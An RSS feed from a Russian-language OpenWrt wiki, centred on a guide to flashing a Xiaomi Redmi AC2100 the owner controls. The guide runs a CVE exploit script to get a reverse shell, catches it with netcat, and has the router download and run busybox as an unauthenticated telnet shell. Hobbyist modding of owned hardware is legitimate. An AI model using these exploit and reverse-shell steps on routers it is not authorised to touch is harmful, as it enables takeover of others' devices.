<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="https://wiki.autosys.tk/lib/exe/css.php?s=feed" type="text/css"?>
<rss version="2.0">
    <channel xmlns:g="http://base.google.com/ns/1.0">
        <title>wiki.autosys.tk - openwrt</title>
        <description></description>
        <link>https://wiki.autosys.tk/</link>
        <lastBuildDate>Fri, 24 Apr 2026 03:18:32 +0000</lastBuildDate>
        <generator>FeedCreator 1.8</generator>
        <image>
            <url>https://wiki.autosys.tk/_media/wiki/dokuwiki.svg</url>
            <title>wiki.autosys.tk</title>
            <link>https://wiki.autosys.tk/</link>
        </image>
        <item>
            <title>flash_xiaomi_redmi_ac2100</title>
            <link>https://wiki.autosys.tk/openwrt/flash_xiaomi_redmi_ac2100</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;прошивка_роутера_xiaomi_redmi_ac2100_из_ubuntu_2004&quot;&gt;Прошивка роутера Xiaomi Redmi AC2100 из Ubuntu 20.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Как это работает. &lt;br/&gt;

Есть два скрипта:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Первый - реализует PPPoE сервер
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Второй - это эксплоит уязвимости, который делает &lt;strong&gt;reverse shell&lt;/strong&gt; - то есть заставляет роутер подсоединиться на заданный IP-адрес и порт и получать оттуда shell-команды.   
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
После получения shell&amp;#039;а мы скопируем туда &lt;strong&gt;busybox&lt;/strong&gt;, затем с его помощью запустим сервер &lt;strong&gt;telnet&lt;/strong&gt;. &lt;br/&gt;

Потом - подключимся туда клиентом &lt;strong&gt;telnet&lt;/strong&gt; и прошьем то что нам нужно.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0440\u043e\u0443\u0442\u0435\u0440\u0430 Xiaomi Redmi AC2100 \u0438\u0437 Ubuntu 20.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430_\u0440\u043e\u0443\u0442\u0435\u0440\u0430_xiaomi_redmi_ac2100_\u0438\u0437_ubuntu_2004&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;63-855&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;установим_софт_скачаем_скрипты_и_openwrt&quot;&gt;Установим софт, скачаем скрипты и OpenWrt&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
На хосте, с которого прошиваем роутер долджен быть установлен &lt;strong&gt;python3.8&lt;/strong&gt; (скорее всего и с более старыми все заработает) - с более новыми возможны проблемы, решение которых приведено в конце статьи. &lt;br/&gt;

Итак, выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir ./ac2100 &amp;amp;&amp;amp; cd ./ac2100
sudo python -m pip install --upgrade pip
sudo pip3 install scapy
wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -O busybox

wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

wget https://wiki.autosys.tk/_media/openwrt/ac2100_scripts.tar.gz
tar -xvf ./ac2100_scripts.tar.gz&lt;/pre&gt;

&lt;p&gt;
В директории, в которой находятся имиджи &lt;strong&gt;OpenWrt&lt;/strong&gt;, нужно запустить &lt;strong&gt;HTTP&lt;/strong&gt;-сервер, чтобы можно было скачать имиджи в роутер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo python -m http.server 80&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0441\u043e\u0444\u0442, \u0441\u043a\u0430\u0447\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 OpenWrt&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c_\u0441\u043e\u0444\u0442_\u0441\u043a\u0430\u0447\u0430\u0435\u043c_\u0441\u043a\u0440\u0438\u043f\u0442\u044b_\u0438_openwrt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;856-2161&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;взлом_роутера&quot;&gt;Взлом роутера&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Подключаем один из &lt;abbr title=&quot;Local Area Network&quot;&gt;LAN&lt;/abbr&gt;-портов &lt;strong&gt;Redmi AC2100&lt;/strong&gt; к хосту с помощью патчкорда. &lt;br/&gt;

Вторым патчкордом соединяем WAN-порт с одним из &lt;abbr title=&quot;Local Area Network&quot;&gt;LAN&lt;/abbr&gt;-портов. &lt;br/&gt;

На сетевом  интерфейсе хоста, к которому подключен &lt;strong&gt;Redmi AC2100&lt;/strong&gt; прописываем адрес &lt;strong&gt;192.168.31.177&lt;/strong&gt;. Это важно, поскольку именно на этот адрес будет подключаться роутер после применения эксплоита. &lt;br/&gt;

В &lt;strong&gt;pppoe-simulator.py&lt;/strong&gt; прописываем свой &lt;strong&gt;ethernet&lt;/strong&gt;-интерфейс (в строке &lt;strong&gt;interface = “…“&lt;/strong&gt;) и запускаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod +x ./pppoe-simulator.py
sudo python3 ./pppoe-simulator.py&lt;/pre&gt;

&lt;p&gt;
Теперь - идем в web-интерфейс роутера по адресу &lt;strong&gt;&lt;a href=&quot;http://192.168.31.1&quot; class=&quot;urlextern&quot; title=&quot;http://192.168.31.1&quot; rel=&quot;ugc nofollow&quot;&gt;http://192.168.31.1&lt;/a&gt;&lt;/strong&gt; и жмем большую синюю кнопку. Роутер сам обнаружит, что ему доступен &lt;strong&gt;PPPoE&lt;/strong&gt;-сервис и предложит ввести логин и пароль. Вводим любые логин/пароль (например и там и там 123) и подключаемся. В окне с &lt;strong&gt;pppoe-simulator.py&lt;/strong&gt; увидим, что роутер подключился. &lt;br/&gt;

Открываем еще одно терминала и запускаем &lt;strong&gt;netcat&lt;/strong&gt; - фактически сервер, к которому подключится взломанный роутер, чтобы получать shell-команды:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo netcat -nvlp 31337&lt;/pre&gt;

&lt;p&gt;
В результате по нашему адресу &lt;strong&gt;192.168.31.177&lt;/strong&gt; на порту &lt;strong&gt;31337&lt;/strong&gt; должен быть доступен сокет. Адрес и порт менять нельзя - они захардкожены в эксплоите. &lt;br/&gt;

Теперь - в скрипте &lt;strong&gt;cve.py&lt;/strong&gt; прописываем наш интерфейс (в строке &lt;strong&gt;interface = ”…“&lt;/strong&gt;) и в строке с условием определения адреса жертвы первые шесть символов (можно и весь) мак-адрес роутера, написанный на стикере на его брюхе.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;if src.startswith(&amp;quot;your:router:mac&amp;quot;)&lt;/pre&gt;

&lt;p&gt;
и выполняем эксплоит:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo python3 ./cve.py&lt;/pre&gt;

&lt;p&gt;
Он выдаст примерно такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sessionid:246
src:00:00:00:00:0b:6f
dst:28:d1:27:dc:20:58
.
Sent 1 packets.&lt;/pre&gt;

&lt;p&gt;
В результате через пару секунд в окне с запущенным &lt;strong&gt;netcat&lt;/strong&gt; должна появиться строка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Connection received on 192.168.31.1 45500&lt;/pre&gt;

&lt;p&gt;
Это значит, что &lt;strong&gt;shell&lt;/strong&gt; полулчен и можно выполнять команды!!! Команды вводить прямо в окне &lt;strong&gt;netcat&lt;/strong&gt; после строки &lt;strong&gt;Connection received …&lt;/strong&gt; &lt;br/&gt;

Наша цель - запустить сервер &lt;strong&gt;telnet&lt;/strong&gt;. Если в процессе ввода команд &lt;strong&gt;shell&lt;/strong&gt; отвалится (&lt;strong&gt;netcat&lt;/strong&gt; закроется), то &lt;strong&gt;netcat&lt;/strong&gt; надо перезапустить и еще раз запустить &lt;strong&gt;cve.py&lt;/strong&gt;. &lt;br/&gt;

После запуска &lt;strong&gt;telnet&lt;/strong&gt; соединени будет стабильно. Чтобы запустить &lt;strong&gt;telnet&lt;/strong&gt; выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://192.168.31.177/busybox -O /tmp/busybox
chmod +x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh&lt;/pre&gt;

&lt;p&gt;
Теперь на роутере работает сервер &lt;strong&gt;telnet&lt;/strong&gt; и к нему можно подключиться. Запускаем &lt;strong&gt;telnet&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;telnet&lt;/pre&gt;

&lt;p&gt;
И вводим команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;o 192.168.31.1&lt;/pre&gt;

&lt;p&gt;
В итоге должны увидеть такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;telnet&amp;gt; o 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is &amp;#039;^]&amp;#039;.

BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash)
Enter &amp;#039;help&amp;#039; for a list of built-in commands.

/lib/netifd/proto #&lt;/pre&gt;

&lt;p&gt;
И теперь собственно прошивка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -O /tmp/kernel1.bin
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -O /tmp/rootfs0.bin

# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
# Commit our nvram changes
nvram commit
# Flash the kernel
mtd write /tmp/kernel1.bin kernel1
mtd -r write /tmp/rootfs0.bin rootfs0&lt;/pre&gt;

&lt;p&gt;
В итоге - роутер должен сам перезагрузиться в &lt;strong&gt;OpenWrt&lt;/strong&gt;. &lt;br/&gt;

Дальше - подключаем роутер кабелем интернету, на компе выставляем получение адреса по DHCP (в итоге OpenWrt должен выдать нам адрес из подсети 192.168.1.0/24) логинимся в него по ssh (без пароля):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh root@192.168.1.1&lt;/pre&gt;

&lt;p&gt;
Устанавливаем на него web-интерфейс &lt;strong&gt;luci&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install luci&lt;/pre&gt;

&lt;p&gt;
Всё. Дальше можно идти в web-морду и настраивать всё как обычно!
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0437\u043b\u043e\u043c \u0440\u043e\u0443\u0442\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0437\u043b\u043e\u043c_\u0440\u043e\u0443\u0442\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2162-7505&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;обновление&quot;&gt;Обновление&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для обновления - скачиваем отсюда &lt;a href=&quot;https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin&quot; class=&quot;urlextern&quot; title=&quot;https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin&quot; rel=&quot;ugc nofollow&quot;&gt;https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin&lt;/a&gt; и прошиваем. &lt;br/&gt;

Не забываем, что в образах нету luci и после прошивки потребуется ее переустановить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install luci&lt;/pre&gt;

&lt;p&gt;
Ну и переустановить и перенастроить те пакеты, которые вы использовали. &lt;br/&gt;

В моем случае - haproxy:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg install haproxy&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;7506-8141&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;обновление_cli&quot;&gt;Обновление CLI&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd /tmp
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/sha256sums
sha256sum -c sha256sums 2&amp;gt; /dev/null | grep OK
sysupgrade -v -k openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 CLI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_cli&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;8142-8549&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;если_в_системе_python_39_и_новее&quot;&gt;Если в системе python 3.9 и новее&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Если у вас в системе установлен &lt;strong&gt;python 3.9&lt;/strong&gt; или более новый (как, например, в моей &lt;strong&gt;Ubuntu 21.04&lt;/strong&gt;) , то запуск &lt;strong&gt;pppoe-simulator.py&lt;/strong&gt; приведет к ошибке:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Waiting for packets
Traceback (most recent call last):
  File &amp;quot;/home/mike/ac2100/./pppoe-simulator.py&amp;quot;, line 183, in &amp;lt;module&amp;gt;
    sniff(prn=packet_callback, filter=&amp;quot;pppoed or pppoes&amp;quot;, lfilter=isNotOutgoing)
  File &amp;quot;/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py&amp;quot;, line 1263, in sniff
    sniffer._run(*args, **kwargs)
  File &amp;quot;/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py&amp;quot;, line 1210, in _run
    session.on_packet_received(p)
  File &amp;quot;/usr/local/lib/python3.9/dist-packages/scapy/sessions.py&amp;quot;, line 108, in on_packet_received
    result = self.prn(pkt)
  File &amp;quot;/home/mike/ac2100/./pppoe-simulator.py&amp;quot;, line 63, in packet_callback
    for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
  File &amp;quot;/usr/local/lib/python3.9/dist-packages/scapy/packet.py&amp;quot;, line 1344, in __getitem__
    raise IndexError(&amp;quot;Layer [%s] not found&amp;quot; % name)
IndexError: Layer [PPPoED_Tags] not found&lt;/pre&gt;

&lt;p&gt;
Для того, чтобы запустить &lt;strong&gt;pppoe-simulator.py&lt;/strong&gt; нужно установить &lt;strong&gt;python3.8&lt;/strong&gt; и запускать скрипт &lt;strong&gt;pppoe-simulator.py&lt;/strong&gt; в нем.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 python 3.9 \u0438 \u043d\u043e\u0432\u0435\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_\u0432_\u0441\u0438\u0441\u0442\u0435\u043c\u0435_python_39_\u0438_\u043d\u043e\u0432\u0435\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;8550-9933&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;установка_python38_рядом_с_python39&quot;&gt;Установка python3.8 рядом с python3.9&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://www.python.org/ftp/python/3.8.7/Python-3.8.7.tgz
tar -xvzf ./Python-3.8.7.tgz 
cd Python-3.8.7/
./configure --enable-optimizations
sudo make clean
sudo make -j8
sudo make altinstall
sudo python3.8 -m pip install --upgrade pip
sudo python3.8 -m pip install scapy&lt;/pre&gt;

&lt;p&gt;
и запускаем
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo python3.8 ./pppoe-simulator.py&lt;/pre&gt;

&lt;p&gt;
Также возможна такая ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;FileNotFoundError: [Errno 2] No such file or directory: b&amp;#039;liblibc.a&amp;#039;&lt;/pre&gt;

&lt;p&gt;
которая лечится так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /usr/lib/x86_64-linux-gnu/
sudo ln -s -f libc.a liblibc.a&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 python3.8 \u0440\u044f\u0434\u043e\u043c \u0441 python3.9&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_python38_\u0440\u044f\u0434\u043e\u043c_\u0441_python39&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;9934-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 26 Oct 2021 20:04:03 +0000</pubDate>
        </item>
        <item>
            <title>get_bad_ips_from_log</title>
            <link>https://wiki.autosys.tk/openwrt/get_bad_ips_from_log</link>
            <description>&lt;pre class=&quot;code&quot;&gt;logread  | grep &amp;#039;Exit before auth&amp;#039; | awk &amp;#039;{print $12}&amp;#039; | sed &amp;#039;s/[&amp;lt;,&amp;gt;]//g&amp;#039; | sed &amp;#039;s/:$//g&amp;#039; | cut -d: -f1 | uniq | grep -v 192.168.77 | sed &amp;#039;s/^/iptables -I INPUT -j DROP -s /g&amp;#039; &amp;amp;&amp;amp; /etc/init.d/log restart&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 13 Oct 2021 12:01:59 +0000</pubDate>
        </item>
        <item>
            <title>kuwfi-ax1800-tenbay-t-mb5eu-v01</title>
            <link>https://wiki.autosys.tk/openwrt/kuwfi-ax1800-tenbay-t-mb5eu-v01</link>
            <description>
&lt;p&gt;
Тут описан мой опыт прошивки &lt;strong&gt;Openwrt&lt;/strong&gt; на роутер &lt;strong&gt;KuwFi AX1800&lt;/strong&gt;, он же &lt;strong&gt;Tenbay T-MB5EU-V01&lt;/strong&gt; / &lt;strong&gt;WR1800K&lt;/strong&gt; / &lt;strong&gt;WR1800G&lt;/strong&gt; (LEGUANG, AMPCOM и др.) &lt;br/&gt;

Snapshot-образы - &lt;a href=&quot;https://firmware-selector.openwrt.org/?version=SNAPSHOT&amp;amp;target=ramips%2Fmt7621&amp;amp;id=tenbay_t-mb5eu-v01&quot; class=&quot;urlextern&quot; title=&quot;https://firmware-selector.openwrt.org/?version=SNAPSHOT&amp;amp;target=ramips%2Fmt7621&amp;amp;id=tenbay_t-mb5eu-v01&quot; rel=&quot;ugc nofollow&quot;&gt;https://firmware-selector.openwrt.org/?version=SNAPSHOT&amp;amp;target=ramips%2Fmt7621&amp;amp;id=tenbay_t-mb5eu-v01&lt;/a&gt; &lt;br/&gt;

Немного про сборку и замену флешки 16Мб → 32Мб: &lt;a href=&quot;https://forum.openwrt.org/t/kuwfi-tenbay-wifi-6-ax-t-mb5eu-v01/99090&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/kuwfi-tenbay-wifi-6-ax-t-mb5eu-v01/99090&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.openwrt.org/t/kuwfi-tenbay-wifi-6-ax-t-mb5eu-v01/99090&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_шить&quot;&gt;Как шить&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Нужно положить в директорию файлики с образами &lt;strong&gt;kernel&lt;/strong&gt; и &lt;strong&gt;sysupgrade&lt;/strong&gt; и запустить TFTP-сервер.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Примерно так: &lt;pre class=&quot;code&quot;&gt;sudo dnsmasq --port=0 --enable-tftp --tftp-root=/home/user/kuwfi/ --tftp-no-blocksize --user=root --group=root&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Затем - подпаять к контектным площадкам кабель UART и подключиться к консоли при помощи &lt;strong&gt;minicom&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo minicom -b 115200 -D /dev/ttyUSB0&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 При старте U-Boot у данного роутера появляется меню. В момент появления меню нужно нажать какую-нибудь стрелочку, чтобы загрузка остановилась и можно было выбрать пункт для прошивки - 2.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Дальше нужно выбрать прошивку по TFTP, не забыть подключить роутер (любой из &lt;abbr title=&quot;Local Area Network&quot;&gt;LAN&lt;/abbr&gt;-портов) кабелем к компу, задать адрес TFTP-сервера (компа), задать адрес самого роутера, маску и ввести имя файла. Я прошивал последовательно &lt;strong&gt;kernel&lt;/strong&gt; и затем &lt;strong&gt;sysupgrade&lt;/strong&gt; образы. И все завелось.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 После прошивки рекомендую подключить роутер к интернету и установить Web-морду Openwrt:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install luci&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Рекомендую - установить и настроить &lt;a href=&quot;https://wiki.autosys.tk/openwrt/script_for_installing_packages_after_sysupgrade&quot; class=&quot;wikilink1&quot; title=&quot;openwrt:script_for_installing_packages_after_sysupgrade&quot; data-wiki-id=&quot;openwrt:script_for_installing_packages_after_sysupgrade&quot;&gt;скрипт для автоматического восстановления пакетов после обновления прошивок с помощью sysupgrade&lt;/a&gt;. Без этого скрипта после обновления прошивки сохраняются только настройки, но не установленные пакеты.
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0448\u0438\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0448\u0438\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;476-2554&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;прошивка_openwrt_из_web-интерфейса_оригинальной_прошивки&quot;&gt;Прошивка Openwrt из Web-интерфейса оригинальной прошивки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я попробывал вот это: &lt;a href=&quot;https://github.com/blocktrron/t-mb5eu-v01-factory-creator/&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/blocktrron/t-mb5eu-v01-factory-creator/&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/blocktrron/t-mb5eu-v01-factory-creator/&lt;/a&gt; - скрипт добавляет в образ openwrt метаданные, которые позволяют прошить его через интерфейс заводской прошивки. &lt;br/&gt;

Я попытался так сконвертить образ sysupgrade, зашил его (родная прошивка признала образ) и роутер окирпичился. Возможно, на заводскую прошивку надо было зашивать kernel-образ. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 Openwrt \u0438\u0437 Web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430_openwrt_\u0438\u0437_web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430_\u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439_\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2555-3275&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;несколько_слов_про_сборку_после_припайки_uart&quot;&gt;Несколько слов про сборку после припайки UART&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Наверное, важно не перепутать местами провода антенн. Черные - 2,5GHz, серые - 5GHz. На плате есть обозначения.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u043e\u0432 \u043f\u0440\u043e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0438\u043f\u0430\u0439\u043a\u0438 UART&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e_\u0441\u043b\u043e\u0432_\u043f\u0440\u043e_\u0441\u0431\u043e\u0440\u043a\u0443_\u043f\u043e\u0441\u043b\u0435_\u043f\u0440\u0438\u043f\u0430\u0439\u043a\u0438_uart&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3276-3561&amp;quot;} --&gt;
